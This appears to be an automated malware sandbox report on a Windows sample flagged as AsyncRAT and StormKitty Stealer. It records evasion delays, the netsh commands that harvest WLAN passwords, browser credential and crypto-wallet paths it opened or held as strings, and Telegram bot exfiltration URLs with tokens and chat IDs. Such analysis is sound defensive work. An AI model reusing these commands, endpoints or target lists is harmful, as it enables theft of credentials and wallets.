Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -597588s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -597484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -597375s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -597265s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -597156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -597047s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -596937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -99891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -99782s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -99657s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -99532s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -99407s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -99282s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -99157s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -99047s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -98929s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -98813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -98688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -98563s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -595375s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -595265s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -595156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -595047s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -594937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -594828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -594718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -594609s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Users\user\Desktop\viVOqZjAT0.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem

Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorId From Win32_processor

Source: C:\Users\user\Desktop\viVOqZjAT0.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 599671	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 599344	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 599125	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 599014	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 598797	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 598469	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 598250	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 598140	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 598031	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 597922	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 597812	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 597588	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 597484	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 597375	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 597265	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 597156	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 597047	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 596937	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 99891	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 99782	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 99657	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 99532	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 99407	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 99282	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 99157	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 99047	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 98929	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 98813	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 98688	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 98563	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 595375	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 595265	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 595156	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 595047	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 594937	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 594828	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 594718	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 594609	Jump to behavior

Source: viVOqZjAT0.exe	Binary or memory string: vmware
Source: viVOqZjAT0.exe	Binary or memory string: VMwareVBox
Source: viVOqZjAT0.exe, 00000000.00000002.4116634635.00000000058FF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\viVOqZjAT0.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\viVOqZjAT0.exe

Code function: 0_2_05710B20 LdrInitializeThunk,

0_2_05710B20

Source: C:\Users\user\Desktop\viVOqZjAT0.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\viVOqZjAT0.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr All	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show networks mode=bssid	Jump to behavior

Language, Device and Operating System Detection

Yara detected Telegram Recon

Source: Yara match

File source: viVOqZjAT0.exe, type: SAMPLE

Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Queries volume information: C:\Users\user\Desktop\viVOqZjAT0.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\viVOqZjAT0.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Yara detected AsyncRAT

Source: Yara match	File source: viVOqZjAT0.exe, type: SAMPLE
Source: Yara match	File source: 0.0.viVOqZjAT0.exe.790000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1649299385.0000000000792000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: viVOqZjAT0.exe PID: 7132, type: MEMORYSTR

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile

Source: viVOqZjAT0.exe, 00000000.00000002.4116750047.0000000005939000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\viVOqZjAT0.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected StormKitty Stealer

Source: Yara match	File source: viVOqZjAT0.exe, type: SAMPLE
Source: Yara match	File source: 0.0.viVOqZjAT0.exe.790000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1649299385.0000000000792000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4107117629.0000000002A71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: viVOqZjAT0.exe PID: 7132, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: viVOqZjAT0.exe, type: SAMPLE
Source: Yara match	File source: 0.0.viVOqZjAT0.exe.790000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1649299385.0000000000792000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4107117629.0000000002A71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: viVOqZjAT0.exe PID: 7132, type: MEMORYSTR

Yara detected WorldWind Stealer

Source: Yara match

File source: Process Memory Space: viVOqZjAT0.exe PID: 7132, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: viVOqZjAT0.exe, 00000000.00000000.1649299385.0000000000792000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: Electrum#\Electrum\wallets
Source: viVOqZjAT0.exe, 00000000.00000000.1649299385.0000000000792000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: \bytecoinJaxxk\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb
Source: viVOqZjAT0.exe, 00000000.00000000.1649299385.0000000000792000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: Exodus+\Exodus\exodus.wallet
Source: viVOqZjAT0.exe, 00000000.00000000.1649299385.0000000000792000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum%\Ethereum\keystore
Source: viVOqZjAT0.exe, 00000000.00000000.1649299385.0000000000792000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: Exodus+\Exodus\exodus.wallet
Source: viVOqZjAT0.exe, 00000000.00000000.1649299385.0000000000792000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum%\Ethereum\keystore
Source: viVOqZjAT0.exe, 00000000.00000000.1649299385.0000000000792000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: Coinomi1\Coinomi\Coinomi\wallets
Source: viVOqZjAT0.exe, 00000000.00000000.1649299385.0000000000792000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum%\Ethereum\keystore

Tries to harvest and steal WLAN passwords

Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile	Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\viVOqZjAT0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Source: Yara match	File source: viVOqZjAT0.exe, type: SAMPLE
Source: Yara match	File source: 0.0.viVOqZjAT0.exe.790000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1649299385.0000000000792000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4107117629.0000000002A71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: viVOqZjAT0.exe PID: 7132, type: MEMORYSTR

Remote Access Functionality

Yara detected StormKitty Stealer

Source: Yara match	File source: viVOqZjAT0.exe, type: SAMPLE
Source: Yara match	File source: 0.0.viVOqZjAT0.exe.790000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1649299385.0000000000792000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4107117629.0000000002A71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: viVOqZjAT0.exe PID: 7132, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: viVOqZjAT0.exe, type: SAMPLE
Source: Yara match	File source: 0.0.viVOqZjAT0.exe.790000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1649299385.0000000000792000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4107117629.0000000002A71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: viVOqZjAT0.exe PID: 7132, type: MEMORYSTR

Yara detected WorldWind Stealer

Source: Yara match

File source: Process Memory Space: viVOqZjAT0.exe PID: 7132, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	141 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	1 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	2 Web Service	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	11 Process Injection	111 Obfuscated Files or Information	1 Input Capture	134 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	1 Scheduled Task/Job	1 DLL Side-Loading	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	1 Screen Capture	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Masquerading	NTDS	341 Security Software Discovery	Distributed Component Object Model	1 Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	251 Virtualization/Sandbox Evasion	LSA Secrets	1 Process Discovery	SSH	Keylogging	4 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Process Injection	Cached Domain Credentials	251 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
viVOqZjAT0.exe	84%	ReversingLabs	ByteCode-MSIL.Backdoor.AsyncRat
viVOqZjAT0.exe	74%	Virustotal		Browse
viVOqZjAT0.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Link
api.mylnikov.org	3%	Virustotal	Browse
api.telegram.org	2%	Virustotal	Browse
pastebin.com	0%	Virustotal	Browse
icanhazip.com	1%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://api.telegram.org/bot5390757788:AAFV65Ydun9OP40g78XxI5eDbV42KqHY5mU/sendDocument?chat_id=5283	0%	Avira URL Cloud	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
https://github.com/LimerBoy/StormKitty0&fq	0%	Avira URL Cloud	safe
https://api.telegram.org/bot6082381502:AAFgFkge53k6kBZcTN8CBICiZV-VphQ1WgA/sendDocument?chat_id=5795480469	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Virustotal		Browse
https://raw.githubusercontent.com/LimerBoy/StormKitty/master/StormKitty/stub/packages/DotNetZip.1.13	0%	Avira URL Cloud	safe
https://api.telegram.org/bot6082381502:AAFgFkge53k6kBZcTN8CBICiZV-VphQ1WgA/sendDocument?chat_id=5795480469	2%	Virustotal		Browse
https://api.telegram.org	0%	Avira URL Cloud	safe
https://duckduckgo.com/ac/?q=	0%	Virustotal		Browse
https://github.com/LimerBoy/StormKitty0&fq	2%	Virustotal		Browse
https://api.telegram.org/bot	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Virustotal		Browse
https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=00:50:56:a7:21:15	0%	Avira URL Cloud	safe
https://api.telegram.org/bot5390757788:AAFV65Ydun9OP40g78XxI5eDbV42KqHY5mU/sendDocument?chat_id=5283	1%	Virustotal		Browse
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/LimerBoy/StormKitty/master/StormKitty/stub/packages/DotNetZip.1.13	9%	Virustotal		Browse
https://api.telegram.orgD	0%	Avira URL Cloud	safe
http://pastebin.comd	0%	Avira URL Cloud	safe
https://api.telegram.org	1%	Virustotal		Browse
http://icanhazip.com/	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Virustotal		Browse
https://api.telegram.org/bot	1%	Virustotal		Browse
https://api.telegram.org/bot5390757788:AAFV65Ydun9OP40g78XxI5eDbV42KqHY5mU/sendDocument?chat_id=5283662956	0%	Avira URL Cloud	safe
https://pastebin.com/raw/7B75u64Bd	0%	Avira URL Cloud	safe
https://api.telegram.org/bot6082381502:AAFgFkge53k6kBZcTN8CBICiZV-VphQ1WgA/sendMessage?chat_id=5795480469&text=%F0%9F%93%81%20Uploading%20Log%20Folders...	0%	Avira URL Cloud	safe
https://api.telegram.org/bot5390757788:AAFV65Ydun9OP40g78XxI5eDbV42KqHY5mU/sendDocument?chat_id=5283662956	0%	Virustotal		Browse
https://github.com/LimerBoy/StormKitty	0%	Avira URL Cloud	safe
https://api.telegram.org/bot6082381502:AAFgFkge53k6kBZcTN8CBICiZV-VphQ1WgA/sendDocument?chat_id=5795	0%	Avira URL Cloud	safe
https://api.mylnikov.org	0%	Avira URL Cloud	safe
https://api.telegram.org/bot6082381502:AAFgFkge53k6kBZcTN8CBICiZV-VphQ1WgA/sendMessage?chat_id=5795480469&text=%F0%9F%93%81%20Uploading%20Log%20Folders...	2%	Virustotal		Browse
http://icanhazip.com/	1%	Virustotal		Browse
http://api.telegram.orgd	0%	Avira URL Cloud	safe
https://api.telegram.org/file/bot	0%	Avira URL Cloud	safe
https://github.com/LimerBoy/StormKitty	2%	Virustotal		Browse
http://api.telegram.org	0%	Avira URL Cloud	safe
